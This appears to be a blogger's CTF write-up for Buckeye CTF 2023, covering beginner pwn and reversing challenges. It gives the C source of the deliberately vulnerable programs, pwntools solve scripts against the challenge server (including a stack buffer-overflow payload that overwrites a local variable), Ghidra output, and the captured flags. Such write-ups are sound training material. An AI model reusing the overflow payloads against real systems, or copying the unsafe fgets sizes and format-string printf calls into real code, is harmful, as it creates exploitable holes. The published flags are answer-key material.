Buckeye CTF 2023

Posted by 0xEpitome on Sun, Oct 1, 2023

Below is my Writeup for challenges that I managed to solve together with my team

Beginner (Pwn)

This was a straight forward pwn challenge and quite easy. We are given a C file:

 1#include <stdio.h>
 2#include <stdlib.h>
 3#include <string.h>
 4#include <time.h>
 5
 6
 7void print_flag(void) {
 8    FILE* fp = fopen("flag.txt", "r");
 9    char flag[100];
10    fgets(flag, sizeof(flag), fp);
11    puts(flag);
12}
13
14
15int main(void) {
16    // Ignore me
17    setbuf(stdout, NULL);
18
19    char buf[50];
20    char joke[5][200] = {"Why don't scientists trust atoms? Because they make up everything!\n", "What do you call a fish with no eyes? Fsh!\n",
21                    "Parallel lines have so much in common. It's a shame they'll never meet.\n",
22                    "Why don't skeletons fight each other? They don't have the guts.\n",
23                    "Did you hear about the mathematician who's afraid of negative numbers? He'll stop at nothing to avoid them!\n"};
24    char weather[5][200] = {"Sunny and clear skies with a gentle breeze, making it a perfect day for outdoor activities.\n",
25                        "Partly cloudy with a chance of scattered showers in the afternoon, so you might want to carry an umbrella just in case.\n",
26                        "Overcast and cool with a persistent drizzle, making it a cozy day to stay indoors and enjoy a good book.\n",
27                        "Hot and humid, with temperatures soaring into the high 90s (°F), so be prepared for a scorching day.\n",
28                        "Unpredictable with rapidly changing weather patterns, including occasional thunderstorms and gusty winds, so stay alert if you plan to be outside.\n"};
29    srand(time(0));
30    int num = rand()%10000;
31    char guess[50] = "0";
32    printf("Enter the number of the menu item you want:\n");
33    printf("1: Hear a joke\n2: Tell you the weather\n3: Play the number guessing game\n4: Quit\n");
34    fgets(buf, 50, stdin);
35    if(strcmp(buf, "0\n")==0){
36        printf("That's not an option\n");
37        exit(0);
38    }
39    
40
41	if(atoi(buf) ==1){
42	    printf(joke[(rand()%5)]);
43	    exit(0);
44    }
45	else if(atoi(buf) == 2){
46	    printf(weather[(rand()%5)]);
47	    exit(0);
48    }
49	else if(atoi(buf) ==3){
50        while(num!=atoi(guess)){
51	        printf("Guess the number I'm thinking of: ");
52            fgets(guess, 50, stdin);
53            if(atoi(guess)<num){
54                printf("Guess higher!\n");
55            }
56            else if(atoi(guess)>num){
57                printf("Guess lower!\n");
58            }
59        }
60	    exit(0);
61    }
62	else if(atoi(buf)==4){
63	    exit(0);
64    }
65	else if(atoi(buf)>4){
66	    printf("That's not an option\n");
67	    exit(0);
68    }
69
70    print_flag();
71
72    return 0;
73}

We see a relatively easy program that has 4 case functions(for a lack of better word) i.e joke,weather guess and quit. We also see a print_flag function which opens flag.txt. So we need a way to execute the flag function. Let’s run the program to see what it does.

image
. We see the 4 options, so when we try to input a number that is not on the options say 0, definitely else if(atoi(buf)>4) printf("That's not an option\n"); exit(0); will be called. So what prevents us from just calling the flag function directly? Absolutely nothing. Here is my solve script which was generated when I patched the binary using pwninit, but this can just be done with one command, sigh!

 1#!/usr/bin/env python3
 2# Author: 0xEpitome
 3
 4from pwn import *
 5
 6exe = ELF("./menu_patched", checksec=False)
 7
 8context.binary = exe
 9
10
11def conn():
12    if args.LOCAL:
13        r = process([exe.path])
14        if args.DEBUG:
15            gdb.attach(r)
16    else:
17        r = remote("chall.pwnoh.io", 13371)
18
19    return r
20
21
22def main():
23    r = conn()
24    r.recvuntil(b"4: Quit")
25    # The flag function can be gotten using gdb or ghidra
26    flag = p64(0x0010152)
27    r.sendline(flag)
28    # good luck pwning :)
29
30    r.interactive()
31
32
33if __name__ == "__main__":
34    main()
35# bctf{y0u_ARe_sNeaKy}

Run the script and you get the flag.

Starter Buffer (Pwn)

This was another pretty easy challenge, the creators of this CTF were generous enough to provide the source code of the challenges.

 1#include <stdio.h>
 2#include <stdlib.h>
 3#include <string.h>
 4
 5void print_flag(void) {
 6    FILE* fp = fopen("flag.txt", "r");
 7    char flag[100];
 8    fgets(flag, sizeof(flag), fp);
 9    puts(flag);
10}
11
12int main(void) {
13    // Ignore me
14    setbuf(stdout, NULL);
15
16    int flag = 0xaabdcdee;
17    char buf[50] = {0};
18	printf("Enter your favorite number: ");
19	fgets(buf, 0x50, stdin);
20
21    if(flag == 0x45454545){
22        print_flag();
23    }
24    else{
25        printf("Too bad! The flag is 0x%x\n", flag);
26    }
27
28    return 0;
29}

In basic explanation of the code, it has 2 function that is print_flag(which is our goal) and main function. The main function sets an integer flag to 0xaabdcdee and initializes a buffer of 50 bytes. Then it asks a basic question of entering your favorite number. Then it does fgets of 0x50(80 bytes). There vuln there is buffer overflow since we can add more bytes than the declared ones which were 50 bytes. Next is an if statement which has the flag set to a value and if that value is called then it calls the print_flag function which has our flag. So to develop our exploit:

 1
 2from pwn import *
 3
 4binary = context.binary = ELF("./buffer", checksec=False)
 5# target = process()
 6target = remote("chall.pwnoh.io", 13372)
 7
 8buf = b"A"*50 + b"B"*8 
 9flag = p64(0x45454545)
10payload = buf + flag
11target.recvuntil(b"number:")
12target.sendline(payload)
13target.interactive()
14
15# flag: bctf{wHy_WriTe_OveR_mY_V@lUeS}

We first write 50 bytes to the buffer then 8 more to reach rbp address then we can enter the desired flag address.

Currency Converter

We are provided with a converter.jar file. Opening this with jd-gui and going to converter class, we get the flag.

image

8ball (Rev)

This was an easy challenge, we are provided with a zip file, on extracting it we get an executable 8ball. On running the program;

image
. So next step is ghidra. Here is the decompiled code:

 1
 2undefined8 main(int param_1,char **param_2)
 3
 4{
 5  int iVar1;
 6  time_t tVar2;
 7  char *pcVar3;
 8  long lVar4;
 9  char **ppcVar5;
10  char **ppcVar6;
11  byte bVar7;
12  char *local_168 [41];
13  int local_1c;
14  ulong local_18;
15  int local_c;
16  
17  bVar7 = 0;
18  setvbuf(stdout,(char *)0x0,2,0);
19  tVar2 = time((time_t *)0x0);
20  srand((uint)tVar2);
21  if (param_1 != 2) {
22    puts("Every question has answer... if you know how to ask");
23    printf("Go ahead, ask me anything.\n",*param_2);
24                    /* WARNING: Subroutine does not return */
25    exit(0);
26  }
27  local_c = 0;
28  iVar1 = strcmp(*param_2,"./magic8ball");
29  if (iVar1 == 0) {
30    puts("Why, I guess you\'re right... I am magic :D");
31    local_c = 1;
32  }
33  ppcVar5 = &PTR_s_Outlook_not_so_good._004024a0;
34  ppcVar6 = local_168;
35  for (lVar4 = 0x28; lVar4 != 0; lVar4 = lVar4 + -1) {
36    *ppcVar6 = *ppcVar5;
37    ppcVar5 = ppcVar5 + (ulong)bVar7 * -2 + 1;
38    ppcVar6 = ppcVar6 + (ulong)bVar7 * -2 + 1;
39  }
40  puts("You asked:");
41  msleep(0,500);
42  printf("\"%s\"\n",param_2[1]);
43  msleep(1,0);
44  printf("Hmmm");
45  msleep(1,0);
46  putchar(0x2e);
47  msleep(1,0);
48  putchar(0x2e);
49  msleep(1,0);
50  putchar(0x2e);
51  msleep(1,0);
52  puts(".");
53  msleep(2,0);
54  if ((local_c != 0) && (pcVar3 = strstr(param_2[1],"flag"), pcVar3 != (char *)0x0)) {
55    puts("Why yes, here is your flag!");
56    print_flag();
57    return 0;
58  }
59  local_18 = 0x28;
60  iVar1 = rand();
61  local_1c = (int)((ulong)(long)iVar1 % local_18);
62  puts(local_168[local_1c]);
63  return 0;
64}

The most basic explanation of this code, there is a part in the code where local c is set to 0 then ivarl is set to strcmp “./magicball”. here is point 1, the way I understood this was, we need to change the name for 8ball to magic8ball that is the first conditon the other condition was, we need a value like “flag” when running the file so that it can execute the flag function.

1./magic8ball "please I need the flag" 

image

That’s all for me, hope you enjoyed my lengthy writeups xD.